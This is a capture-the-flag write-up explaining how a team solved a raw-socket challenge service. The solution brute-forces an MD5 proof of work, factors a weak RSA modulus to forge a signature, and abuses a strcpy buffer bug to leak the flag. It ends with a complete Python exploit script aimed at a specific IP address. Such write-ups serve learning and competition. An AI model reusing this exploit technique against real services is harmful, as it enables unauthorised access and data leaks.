by tsuro and comawill (Stratum 0 https://stratum0.org)
Here is what the program does:
- It opens an
socket(AF_INET, SOCK_RAW, 0xfe)
- and waits with an
resvmsg
for incoming packets - each packet will be 'parsed' (extracts source_addr of the packet and skips the remaining part)
- expexts the first four bytes of the payload as
length of payload - 4
- now it gets interesting
- the next 16 bytes have to be
md5_1 = md5( (time()&0xFFFFFFE0) + source_addr + random_val)
random_val
is generated once on startup by reading from/dev/random
- if the condition is not given, it will send the expected md5 to
source_addr
- the next 4 bytes from the payload are saved into
some_data
- now the last two bytes of
md5(md5_1 + some_data)
have to be0x0000
- if the condition is not given, it will do nothing
- the remainig bytes of the payload are converted by BN_hex2bn into an big integer (
c
). - the conversion method will stop converting if it reaches a non hex-char
- the number has to meet the condition:
pow(hex2int(c), e) % n == 0x31337
- if it does not, "n, e" is sent to
source_addr
- if it does not, "n, e" is sent to
- if is correct it sends the flag to 10.x.x.x
- if an "," is in the rest of payload (the part converted to
c
), it sends this part begining with the "," tosource_addr
- there is an useful bug in method used for sending (
send(n,buffer, dest, socket)
):- before sending, it uses
strcpy(buffer, some_buffer_of_send)
- send
n
bytes ofsome_buffer_of_send
- before sending, it uses
- send empty payload
- receive expected md5
- bruteforce the 4 bytes for condition
md5(md5_1 + some_data)[-2:] == '\x00\x00'
- recieve e and n
- factorize n (it's a weak modulus) into p,q
- invert e with (p-1)*(q-1) => d=e^-1
- sign 0x31137 with d
- send complete expected data and append an "," followed by a few null bytes.
- after sending the correct data, ping will send the flag to the wrong ip and thereby writes the flag to the local buffer of send
- by invoking the second send, it only overwrites the first byte with the strcpy, but sends the number of bytes given by the length of the remaining part
The final payload should look like this
| 4 bytes | 16 bytes | 4 bytes | x bytes | y bytes |
| len - 4 | md5 | additonal_data | encrypted_31337 | , nullbytes |
#!/usr/bin/env python
import socket
from struct import pack
import hashlib
# https://github.com/pwnies/pwntools
import pwn.crypto.util as cr
def pck(val):
return pack("<I", val)
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, 0xfe)
def send(st):
s.sendto(pck(len(st)) + st, ("54.229.16.237",1234))
def bf_md5(md5):
for i in xrange(2**32):
val = hashlib.md5(md5+pck(i)).digest()
if val[-2:] == "\x00\x00":
return pck(i)
raise Exception
send("")
buf, addr = s.recvfrom(1500)
md5 = buf[20:]
print md5.encode("hex")
val = bf_md5(md5)
send(md5+val)
buf, addr = s.recvfrom(1500)
buf = buf[20:]
print buf
n, e = buf.split(",")
n = int(n, 16)
e = int(e, 16)
p,q = cr.factor_fermat(n)
euler = (p - 1) * (q - 1)
d = cr.modinv(e, euler) % euler
cleartext = 0x31337
enc = pow(cleartext, d, n)
enc_str = ("%x," % enc ) + "\x00" * 300
send(md5 + val + enc_str, 0)
buf, addr = s.recvfrom(1500)
buf = buf[20:]
print buf
print "done"